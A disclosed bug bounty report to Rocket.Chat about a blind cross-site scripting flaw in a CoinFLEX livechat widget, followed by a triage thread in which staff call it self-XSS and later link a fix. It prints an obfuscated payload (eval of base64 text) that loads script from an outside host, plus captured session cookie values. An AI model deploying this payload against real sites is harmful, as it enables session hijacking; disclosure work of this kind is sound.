

8

Blind XSS

Share:



TIMELINE



cyberasset submitted a report to [Rocket.Chat](#).

Jan 31st (2 years ago)

Blind XSS

The page located at `https://livechat.coinflex.com/livechat` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely incorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page's layout and functionality. The following report contains information on an XSS payload that has fired on `https://livechat.coinflex.com`, it can be used to reproduce and remediate the vulnerability.

XSS Payload Fire Details

Vulnerable Page

`https://livechat.coinflex.com/livechat`

Referer

`https://coinflex.com/`

User Agent

`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/88.0.4324.96 Safari/537.36`

Cookies (Non-HTTPOnly)

`rc_rid=tjtzHoTga9m4EBM3o; rc_token=09171b1vvydakojqdv1rm7; rc_room_type=1`

Document Object Model (DOM)

```

3 type="text/css" href="/livechat/61.chunk.a8a84.css"><script charset="utf-8"
4 src="/livechat/61.chunk.6a8fa.js"></script><link rel="stylesheet" type="text/css"
5 href="/livechat/62.chunk.e3920.css"><script charset="utf-8"
6 src="/livechat/62.chunk.39808.js"></script><script charset="utf-8"
7 src="/livechat/i18n.en.chunk.2a3c0.js"></script></head><body data-new-gr-c-s-check
8 loaded="14.993.0" data-gr-ext-installed="" data-new-gr-c-s-loaded="14.993.0"><div
9 id="app"><div class="screen__sskEr"><style>
10 .screen__sskEr {
11 --color: #9437ff;
12 }
13 </style><div class="screen__inner__ihfK6 chat__1ggQU"><div
14 class="popover__container__1sbvl"><header class="header__13Vuj"><div
15 class="header__content__pXDMp"><div class="header__title__PtLVn">CoinFLEX Live
16 Chat</div></div><nav class="header__actions__aNMyg"><button
17 class="header__action__2wnEh" aria-label="Disable notifications"><svg
18 xmlns="http://www.w3.org/2000/svg" viewBox="0 0 18 18" width="20" height="20"><pat
19 d="M4.619 10.532V6.374c0-2.296 1.962-4.158 4.381-4.158 2.419 0 4.381 1.862 4.381
20 4.158v4.158l1.643 3.118H2.976l1.643-3.118zm3.047 4.426h2.668c-.195.514-.716.884-
21 1.334.884s-1.139-.37-1.334-.884zm7.048-8.625C14.714 3.388 12.155 1 9 1 5.845 1 3.2
22 3.388 3.286 6.333V10.6L1 14.867h5.201C6.465 16.084 7.618 17 9 17s2.535-.916 2.799-
23 2.133H17L14.714 10.6V6.333z" fill="currentColor"
24 fill-rule="evenodd"></path></svg></button><button class="header__action__2wnEh" ar
25 label="Minimize chat"><svg viewBox="0 0 18 18" xmlns="http://www.w3.org/2000/svg"
26 width="20" height="20"><path d="M16.071 5L9 12.071 1.929 5" stroke="currentColor"s
27 class="header__action__2wnEh" aria-label="Expand chat"><svg viewBox="0 0 20 20"
28 xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path d="M15.286
29 1H2.715c-.947 0-1.714.767-1.714 1.714v12.571A1.714 1.714 0 002.715 17h12.571c.947
30 1.714-.768 1.714-1.715V2.715C17 1.767 16.233 1 15.286 1zm.571 14.286a.572.572 0
31 01-.571.571H2.715a.572.572 0
32 01-.571-.571V2.715c0-.315.256-.571.571-.571h12.571c.315
33 0 .571.256.571.571v12.571zM4.554 13.244a.429.429 0 010-.606l6.97-6.97-.025-.025-
34 3.213.012a.429.429 0 01-.429-.428V4.87c0-.237.192-.429.429-.429l4.857-.012c.237
35 0 .429.192.429.428l-.013 4.858a.429.429 0 01-.428.428h-.357a.429.429 0
36 01-.429-.428l.012-3.213-.025-.026-6.97 6.97a.429.429 0 01-.606 0l-.202-.202z" stro
37 width=".3" fill="currentColor" stroke="currentColor"></path></svg></button></nav><
38 class="header__post__VA2cW"></div></header><div data-overlay-text="Drop here to
39 upload a file" class="drop__6UUil drop--overlayed__JT4ny"><input type="file"

```

```

43 list__content__3TyF4"></ol></div></div></main><footer class="footer__1V22a"><div
44 class="footer__content__1tgEl"><div class="composer__27x96"><div
45 class="composer__actions__3eA8B"><button type="button"
46 class="composer__action__2ZuQd"><svg viewBox="0 0 20 20"
47 xmlns="http://www.w3.org/2000/svg" width="20" height="20"><g fill="none" fill-
48 rule="evenodd"><circle cx="12" cy="8" r="1" fill="currentColor"></circle><circle c
49 cy="8" r="1" fill="currentColor"></circle><circle cx="10" cy="10" r="7" stroke="cu
50 stroke-width="1.5"></circle><path d="M7.172 12.328a4 4 0 05.656 0"
51 stroke="currentColor" stroke-width="1.5"></path></g></svg></button></div><div
52 contenteditable="true" data-placeholder="Type your message here"
53 class="composer__input__Cggy">"&gt;<input onfocus="eval(atob(this.id))"
54 id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHB
55 z0i8vYXNzZXRjeWJlci54c3MuaHQi02RvY3VtZW50LmJvZHUuYXBwZW5kQ2hpbGQoYS
56 k7" autofocus=""></div><div class="composer__actions__3eA8B"><button type="button"
57 class="composer__action__2ZuQd"><svg viewBox="0 0 24 24"
58 xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path d="M10.342
59 13.283l9.56-10.359-13.049 8.264l1 8.778 21.506 11-7.778 20.506-3.386-8.223z"
60 fill="currentColor" stroke="currentColor" stroke-width="1.5" fill-rule="evenodd" s
61 linecap="round" stroke-linejoin="round"></path></svg></button></div></div><div><d
62 class="footer__content__1tgEl"><h3 class="powered-by__1DxxE">Powered by <a
63 href="https://rocket.chat" target="_blank" rel="noopener noreferrer"><svg viewBox=
64 1500 272" xmlns="http://www.w3.org/2000/svg" class="powered-by__logo__2Y08v"
65 width="60" height="10.88" role="img" aria-label="Rocket.Chat"><g fill="none" fill-
66 rule="evenodd"><path class="text" d="M461.588 132.646c0 15.237-5.687 25.243-16.607
67 30.016l15.699 59.582c.681 2.734-.681 4.092-3.186 4.092h-23.663c-2.274 0-3.41-1.135
68 3.867-3.184l-15.244-57.76h-15.699v57.31c0 2.276-1.362 3.634-3.64 3.634h-23.663c-2.
69 0-3.64-1.365-3.64-3.634V48.052c0-2.273 1.366-3.638 3.64-3.638h57.107c21.385 0 32.7
70 11.372 32.763 32.746v55.49zm-40.043 2.727c5.914 0 9.1-3.184 9.1-9.095V83.525c0-
71 5.911-3.186-9.092-9.1-9.092h-22.524v60.943l22.524-.004zm58.235-58.217c0-21.375
72 11.374-32.746 32.763-32.746h25.483c21.385 0 32.763 11.372 32.763 32.746v116.43c0
73 21.371-11.377 32.743-32.763 32.743h-25.483c-21.389 0-32.763-11.372-32.763-
74 32.743V77.156zm52.555 119.84c5.914 0 9.1-2.957 9.1-9.095V82.84c0-5.911-3.186-9.095
75 9.1-9.095h-13.194c-5.914 0-9.1 3.184-9.1 9.095V187.9c0 6.134 3.186 9.091 9.1
76 9.091h13.194zm152.425-95.281c0 2.276-1.366 3.638-3.636 3.638h-22.751c-2.505 0-3.64
77 1.361-3.64-3.638v-18.19c0-5.911-3.183-9.092-9.092h-11.832c-6.14 0-9.1 3.181-
78 9.092v103.7c0 6.138 3.183 9.088 9.1 9.088h11.832c5.914 0 9.097-2.954 9.097-9.088v-
79 18.198c0-2.276 1.135-3.638 3.64-3.638h22.75c2.282 0 3.637 1.361 3.637 3.638v24.562

```

83 4.55V48.954c0-2.953 1.593-4.549 4.551-4.549h21.843c2.956 0 4.548 1.592 4.548
 84 4.55v70.495l35.037-71.634c1.14-2.273 2.736-3.41 5.237-3.41H802.6c3.413 0 4.778 2.2
 85 3.182 5.456l-38.673 79.364 41.174 91.874c1.593 2.958.227 5.23-3.41
 86 5.23H780.76zM915.67 70.791c0 2.273-.912 3.865-3.64 3.865h-56.88v45.48h43.456c2.281
 87 0 3.64 1.365 3.64 3.865v22.513c0 2.503-1.366 3.869-3.64
 88 3.869H855.15v45.934h56.88c2.735 0 3.64 1.138 3.64 3.638v22.743c0 2.273-.912 3.63-
 89 3.64 3.63h-83.725c-2.05 0-3.416-1.365-3.416-3.63V48.048c0-2.273 1.366-3.638 3.416-
 90 3.638h83.725c2.735 0 3.64 1.365 3.64 3.638V70.79zm105.56-26.381c2.501 0 3.64 1.365
 91 3.64 3.638V70.79c0 2.273-1.139 3.638-3.64 3.638h-26.391v148.27c0 2.5-1.135 3.63-3.
 92 3.63H967.54c-2.282 0-3.64-1.13-3.64-3.63V74.429h-26.388c-2.282 0-3.64-1.365-3.64-
 93 3.638V48.048c0-2.273 1.366-3.638 3.64-3.638h83.718zm1.38 156.493c0-2.957 1.593-
 94 4.546 4.552-4.546h20.704c2.959 0 4.548 1.589 4.548 4.546v20.917c0 2.96-1.59 4.55-
 95 4.548 4.55h-20.704c-2.96 0-4.552-1.59-4.552-4.55v-20.917zm143.75-99.188c0 2.276-1.
 96 3.638-3.64 3.638h-22.75c-2.502 0-3.637-1.361-3.637-3.638v-18.19c0-5.911-3.183-9.09
 97 9.097-9.092h-11.832c-6.144 0-9.1 3.181-9.1 9.092v103.7c0 6.138 3.183 9.088 9.1
 98 9.088h11.832c5.914 0 9.097-2.954 9.097-9.088v-18.198c0-2.276 1.135-3.638 3.636-
 99 3.638h22.751c2.281 0 3.64 1.361 3.64 3.638v24.562c0 21.371-11.604 32.743-32.763
 100 32.743h-25.483c-21.385 0-32.99-11.372-32.99-32.743V77.149c0-21.375 11.604-32.746
 101 32.99-32.746h25.483c21.162 0 32.763 11.372 32.763 32.746v24.559zm82.81-53.667c0-
 102 2.273 1.362-3.638 3.636-3.638h23.432c2.732 0 3.864 1.365 3.864 3.638v174.65c0 2.27
 103 1.135 3.63-3.864 3.63h-23.432c-2.28 0-3.636-1.365-3.636-3.63v-72.315h-29.123v72.31
 104 2.276-1.366 3.634-3.64 3.634h-23.429c-2.735 0-3.87-1.365-3.87-3.634V48.052c0-2.273
 105 1.135-3.638 3.87-3.638h23.43c2.28 0 3.639 1.365 3.639
 106 3.638v72.315h29.123V48.052zm134.66 178.285c-2.047 0-3.182-1.135-3.64-3.184l-6.368-
 107 33.197h-40.51-6.137 33.197c-.458 2.05-1.593 3.184-3.64 3.184h-24.341c-2.501 0-3.64
 108 1.365-2.963-3.865l37.77-174.88c.457-2.273 1.82-3.184 3.866-3.184h31.628c2.047 0
 109 3.413.911 3.867 3.184l37.77 174.88c.457 2.5-.455 3.865-3.183 3.865h-24.128zm-30.26
 110 142.131-14.56 79.364h29.123l-14.563-79.364zM1496.23 44.41c2.501 0 3.64 1.365 3.64
 111 3.638V70.79c0 2.273-1.139 3.638-3.64 3.638h-26.388v148.27c0 2.5-1.139 3.63-3.64
 112 3.63h-23.663c-2.274 0-3.636-1.13-3.636-3.63V74.429h-26.388c-2.278 0-3.637-1.365-
 113 3.637-3.638V48.048c0-2.273 1.366-3.638 3.637-3.638h83.715z"></path><path
 114 class="rocket" d="M270.5 105.321.004.006-.002-.003-.002-.003zM92.94 11.47c9.508 5.
 115 18.496 11.962 26.171 19.388 12.373-2.24 25.13-3.37 38.072-3.37 38.744 0 75.477 10.
 116 103.42 28.612 14.473 9.559 25.977 20.9 34.189 33.712 9.145 14.276 13.78 29.63 13.7
 117 46.08 0 16.007-4.636 31.365-13.78 45.64-8.211 12.817-19.715 24.156-34.189 33.715-
 118 27.948 18.45-64.678 28.607-103.42 28.607-12.942 0-25.697-1.13-38.072-3.368a126.331
 119 126.331 0 01-26.171 19.388c-50.802 25.443-92.931.599-92.931.599s39.169-33.254

```

123 13.722-27.863-31.281-27.863-50.419 0-43.916 55.032-79.517 122.92-79.517 67.885 0
124 122.92 35.601 122.92 79.517s-55.032 79.517-122.92 79.517c-16.731 0-32.681-2.163-
125 47.219-6.079L99.754 219.31c-5.775 5.57-12.544 10.61-19.6 14.582-9.352 4.593-18.588
126 7.099-27.725 7.863.515-.937.99-1.886 1.5-2.825 10.65-19.618 13.523-37.248 8.618-
127 52.89z" fill="#fff"></path><path class="rocket" d="M98.656 154.54c-9.98 0-18.071-8
128 18.071-18.361s8.09-18.361 18.071-18.361c9.98 0 18.071 8.22 18.071 18.361s-8.09
129 18.361-18.071 18.361zm58.179 0c-9.98 0-18.071-8.22-18.071-18.361s8.09-18.361 18.07
130 18.361 18.071 8.22 18.071 18.361-8.09 18.361-18.071 18.361zm58.179 0c-9.98 0-18.07
131 8.22-18.071-18.361s8.09-18.361 18.071-18.361c9.98 0 18.071 8.22 18.071 18.361s-8.0
132 18.361-18.071 18.361z" fill="#DB2323"
133 fill-rule="nonzero"></path></g></svg></a></h3></div></footer></div><div
134 class="popover__overlay__2FLro"></div></div></div><button type="button" aria-label
135 xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M6 6l8.071 8.071m0
136 8.071L6 14.071" stroke="currentColor" stroke-width="1.5" stroke-linecap="square"
137 fill="none"></path></svg></button><audio
138 src="https://livechat.coinflex.com/sounds/chime.mp3"
139 type="audio/mpeg"></audio></div></div><script> SERVER_URL =
140 'https://livechat.coinflex.com'; </script><script
141 src="/livechat/0.chunk.85c58.js"></script><script
142 src="/livechat/polyfills.38c0c.js"></script><script
143 src="/livechat/vendors~bundle.chunk.b4ad3.js"></script><script
144 src="/livechat/bundle.e0274.js"></script><script
145 src="https://assetcyber.xss.ht"></script></body></html>

```

Origin

<https://livechat.coinflex.com>

Payload for xss

```

"><input onfocus=eval(atob(this.id))
id=dmFyIGE9ZG9jdWl1bnQuY3JlYXRlRwXlBwVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYXNzZXRjZWJlc
i54c3MuaHQiO2RvY3VtZW50LmJvZHUuYXBwZW5kQ2hpbGQoYSk7 autofocus>

```

Screenshot

Please Find Attach image for poc

Injection Timestamp

Remediation

For more information about Cross-site Scripting and remediation of the issue, see the following resources:

- [Cross-site Scripting (XSS) - OWASP]([https://www.owasp.org/index.php/Cross-siteScripting\(XSS\)](https://www.owasp.org/index.php/Cross-siteScripting(XSS)))
- [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP] ([https://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting\)_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet))
- [What is Cross-site Scripting and How Can You Fix it?](#)
- [An Introduction to Content Security Policy - HTML5 Rocks] (<http://www.html5rocks.com/en/tutorials/security/content-security-policy/>)
- [Why is the same origin policy so important? - Information Security Stack Exchange] ([https:// security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important](https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important))

1 attachment:

F1178454: [XSS_payload.png](#)



rodrigok Rocket.Chat staff posted a comment.
[@cyberasset](#) thanks for your report.

Feb 7th (2 years ago)

Can you explain how this can be a security issue?
What would be the affected party?

As far as I could see this would only lead to a self XSS.



rodrigok Rocket.Chat staff changed the status to Needs more info.

Feb 7th (2 years ago)



cyberasset changed the status to New.
yes it's self XSS I think

Feb 7th (2 years ago)



markus-rocketchat updated the severity from High to Low.

Feb 27th (2 years ago)



markus-rocketchat changed the status to Triaged.
Hi [@cyberasset](#)

Updated Feb 27th (2 years ago)



Best
Markus



cyberasset posted a comment.

Mar 27th (2 years ago)

Hello Team,

Did you solve it?



markus-rocketchat posted a comment.

Mar 28th (2 years ago)

Hi @cyberasset

no, not yet. An initial try to fix it is currently in review stage.

Best
Markus



mrrorschach Rocket.Chat staff closed the report and changed the status to Resolved. Nov 3rd (about 1 year ago)

Hi @cyberasset, here is the PR that solves this issue. I'll be closing this one and if you find anything else, please, contact us.



mrrorschach Rocket.Chat staff posted a comment.

Nov 3rd (about 1 year ago)

Sorry, I forgot to include the PR:

<https://github.com/RocketChat/Rocket.Chat.Livechat/pull/558>



cyberasset requested to disclose this report.

Nov 7th (about 1 year ago)

Hi @igor_rincon,

Thanks for the update 😊.

☐ This report has been disclosed.

Dec 7th (12 months ago)



cyberasset posted a comment.

Mar 4th (9 months ago)

Hello Team,

Can you provide me a CVE for this bug.

